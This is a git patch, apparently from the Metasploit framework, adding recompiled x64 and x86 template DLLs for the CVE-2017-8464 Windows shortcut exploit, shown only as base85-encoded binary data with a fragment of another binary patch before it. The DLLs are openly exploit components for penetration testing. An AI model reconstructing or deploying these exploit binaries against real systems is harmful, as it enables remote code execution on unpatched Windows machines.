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
Z`COZZ%K~YR#c6raV&>~ezyHV2e*=q;5)J?W


From 4abe8ff0d9866e827e4be33c96e06d4f459eeb7d Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Wed, 8 Nov 2017 09:33:48 -0600
Subject: [PATCH 120/254] recompile binaries

---
 .../cve-2017-8464/template_x64_windows.dll      | Bin 0 -> 20992 bytes
 .../cve-2017-8464/template_x86_windows.dll      | Bin 0 -> 16896 bytes
 2 files changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 data/exploits/cve-2017-8464/template_x64_windows.dll
 create mode 100644 data/exploits/cve-2017-8464/template_x86_windows.dll

diff --git a/data/exploits/cve-2017-8464/template_x64_windows.dll b/data/exploits/cve-2017-8464/template_x64_windows.dll
new file mode 100644
index 0000000000000000000000000000000000000000..b5b0009cdb387c5345fa363503ab2b24cbe9a051
GIT binary patch
literal 20992
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
KQjh;npZ^2Bw}b}(

literal 0
HcmV?d00001

diff --git a/data/exploits/cve-2017-8464/template_x86_windows.dll b/data/exploits/cve-2017-8464/template_x86_windows.dll
new file mode 100644
index 0000000000000000000000000000000000000000..45f97128eced6a9d0974d6adf9f37991914e91d4
GIT binary patch
literal 16896
zcmeHPe|%Kcm4B0&zyJdiHKW-Y>p-JM7ub38D>IW!5=;gG1B8SC1vEd%1Y&+V^9H11
zn=qNe>vQb1{`|DnHN|$dWi56^sHh#BNWh{-pn#^UsAwmhSfjF#k632E=e{?SNUQ61
z|EZtl@i}wvJ@?#m&OP_sbI*N~Vd2UMr{*|L14t%0ZZ}GLO4;WZe{`XH+LcdF<DQ)K
z()8V`ikGG@UDxb4cKSNj`s&+^YwFwEI|O5c*XRqh8=KpW<%_G0Z5@r?*;A)Z&Qn-d
zdN{5^HHph{^3IgB6Wp|KOi^Wgjmrh57(mKp1F`@n0Jpt`)idNS6);4?o*no^L%W<~
z^Wr$8JdOs?cs#7AgIsEKa@-##Qsr}=hdC}M^K<%u)<n?%H@a8f%5geU>~o&kg7-E7
zeMi2A4^oKcnw|vec<Q*yy4j8OLOtraT6~xQlL1D+xTln>i_Z4RgpIVAr2yh}9bnv3
z%9%=MH~9U8>La?!ah>C;UBu5T^J6xuLnmy_%^pXDD&yBI(=i)%0-4ft94Y9cv&*WM
